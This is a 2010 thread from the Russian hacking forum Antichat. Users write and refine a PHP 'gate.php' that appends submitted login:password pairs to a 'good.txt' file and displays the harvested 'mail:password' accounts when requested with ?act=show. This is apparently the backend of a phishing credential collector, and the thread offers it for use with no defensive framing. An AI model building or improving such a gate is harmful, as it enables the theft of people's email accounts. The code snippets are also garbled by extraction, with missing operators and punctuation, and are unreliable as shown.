Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   yнужен скрипт [PHP] (https://forum.antichat.xyz/showthread.php?t=181932)

RedFern.89 25.02.2010 19:20

yнужен скрипт [PHP]
 
например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php


файл Accounts.txt cсодержит данные следующего типа:
Код:

mail:password
Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs

???

LStr1ke 25.02.2010 19:30

#1
PHP код:

<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file str_replace("\n",'<br />'file_get_contents('accounts.txt'));
echo 
$file;
}
?>

#2
PHP код:

<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file file("accounts.txt");
foreach(
$file as $line) {
echo 
$line."<br />";
}
}
?>


RedFern.89 25.02.2010 19:35

вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать?


PHP код:

<?php
error_reporting
(0);
$accs 'good.txt';
$good fopen($accs,"a+");
fwrite($good"$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset(
$_GET['act']) && $_GET['act'] == 'show') {
$file str_replace("\n",'<br />'file_get_contents('good.txt'));
echo 
$file;

?>


LStr1ke 25.02.2010 19:39

Поставь вначале проверку.
PHP код:

if(!empty($_POST['login']) && !empty($_POST['password'])) ... 

Но будет пропускать пробелы.

RedFern.89 25.02.2010 20:17

а теперь как бы все это совместить?))

Dark_cracker 25.02.2010 20:55

Вот так )
PHP код:

<?php 
error_reporting
(0); 
if (!empty(
$_POST[login]) or !empty($_POST[password])){
$accs 'good.txt'
$good fopen($accs,"a+"); 
fwrite($good"$_POST[login]:$_POST[password]\n"); 
fclose($good); 
fclose($bad); 
if(isset(
$_GET['act']) && $_GET['act'] == 'show') { 
$file str_replace("\n",'<br />'file_get_contents('good.txt')); 
echo 
$file
}  
}
?>

ток поидее перенос строки будет \r\n а у тебя прост \n

mailbrush 25.02.2010 20:59

Омг...
PHP код:

if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 


AdReNa1!Ne 25.02.2010 21:09

А не проще
PHP код:

<?php
if ($_POST[login] && $_POST[password])
{
     ...
}


LStr1ke 25.02.2010 23:50

Цитата:

Сообщение от mailbrush
Омг...
PHP код:

if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 


омг
PHP код:

echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 


mailbrush 25.02.2010 23:54

Цитата:

Сообщение от LStr1ke
омг
PHP код:

echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 


Омг
PHP код:

echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : 0



Время: 06:43